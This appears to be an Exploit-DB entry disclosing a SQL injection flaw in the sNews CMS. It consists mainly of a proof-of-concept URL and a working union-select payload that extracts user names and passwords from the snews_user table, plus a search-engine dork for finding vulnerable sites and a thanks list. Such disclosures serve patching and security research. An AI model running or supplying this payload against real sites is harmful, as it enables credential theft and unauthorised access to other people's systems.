CMS snews - SQL Injection

Author: By onestree
type: webapps
platform: php
port: 
date_added: 2013-01-15 
date_updated: 2013-01-15 
verified: 0 
codes: OSVDB-89333 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comsnews16.zip

  ____   ____   ____   _______/  |________   ____   ____
 /  _ \ /    \_/ __ \ /  ___/\   __\_  __ \_/ __ \_/ __ \
(  <_> )   |  \  ___/ \___ \  |  |  |  | \/\  ___/\  ___/
 \____/|___|  /\___  >____  > |_ |  |__|    \___  >\___  >
            \/     \/     \/                    \/     \/


# Exploit Title : CMS snews SQL Injection Vulnerability
# Author        : By onestree
# Software Link : http://snewscms.com/
# tested        : ubuntu 12.10 / win 7
# Dork          : inurl:"tanyakan pada rumput yang bergoyang"


*************************************************************

SQL poc:

http://localhost/snews/snews.php?act=shownews&id=[SQL]

Example:

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*


Thanks :

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell

          indonesiancoder - moeslimh4x0r - go-coder

spesial my hunny :*